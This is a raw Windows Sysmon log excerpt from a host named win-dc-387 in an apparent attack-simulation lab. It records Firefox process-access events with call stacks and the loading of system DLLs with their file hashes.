Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 734700x800000000000000050897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 10341000x800000000000000050896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 734700x800000000000000050889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000050888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.833{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+e3a04c|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+e39fc3|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+c1485|C:\Program Files\Mozilla Firefox\xul.dll+e39c9a|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 10341000x800000000000000050880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.832{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x101451C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+a0040f|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+16620b4|C:\Program Files\Mozilla Firefox\xul.dll+19c2585|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 